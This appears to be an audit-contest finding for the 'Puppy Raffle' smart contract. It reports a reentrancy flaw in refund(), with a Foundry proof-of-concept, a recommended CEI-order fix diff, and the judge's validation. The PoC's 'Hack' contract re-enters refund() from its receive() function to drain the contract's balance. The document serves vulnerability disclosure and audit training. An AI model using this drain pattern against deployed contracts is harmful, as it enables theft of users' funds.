First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy on `refund` method could lead to funds drain

0x4non

Summary

The refund function is vulnerable to a reentrancy attack. The issue lies in the sequence of operations within the function. Specifically, the call to payable(msg.sender).sendValue(entranceFee); is made before updating the players array with players[playerIndex] = address(0);. This order of operations allows an attacker to potentially re-enter the refund function before the player's address is set to zero, potentially enabling them to drain funds repeatedly.

Vulnerability Details

If exploited, an attacker could repeatedly call the refund function, draining the contract's funds. This could result in substantial financial losses and could compromise the integrity of the entire raffle system.

POC

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
​
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
contract ReenterTest is Test {
PuppyRaffle puppyRaffle;
uint256 entranceFee = 1e18;
function setUp() public {
puppyRaffle = new PuppyRaffle(
entranceFee,
makeAddr("feeAddress"),
1 days
);
}
​
function testCanGetRefund() public {
// lets fund the contract
vm.deal(address(puppyRaffle), entranceFee * 9);
​
address[] memory players = new address[](1);
Hack exploit = new Hack(puppyRaffle, entranceFee);
players[0] = address(exploit);
puppyRaffle.enterRaffle{value: entranceFee}(players);
​
exploit.reenter();
​
// Exploit contract has steal all funds
​
assertEq(address(exploit).balance, entranceFee*9);
}
​
}
​
contract Hack {
PuppyRaffle pr;
uint256 f;
constructor(PuppyRaffle _p, uint256 fee) {
pr = _p;
f = fee;
}
​
function reenter() public {
pr.refund(pr.getActivePlayerIndex(address(this)));
}
receive() external payable {
if(address(pr).balance > f) {
reenter();
}
}
}

Impact

Total lost of funds

Tools Used

manual revision

Recommendations

Stick to the CEI pattern, and use reentrancy guards

diff --git a/src/PuppyRaffle.sol b/src/PuppyRaffle.sol
index 4b75055..a75b5cc 100644
--- a/src/PuppyRaffle.sol
+++ b/src/PuppyRaffle.sol
@@ -98,10 +98,9 @@ contract PuppyRaffle is ERC721, Ownable {
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
- payable(msg.sender).sendValue(entranceFee);
-
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
+ payable(msg.sender).sendValue(entranceFee);
}
/// @notice a way to get the index in the array
Updates

Lead Judging Commences

Hamiltonite Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.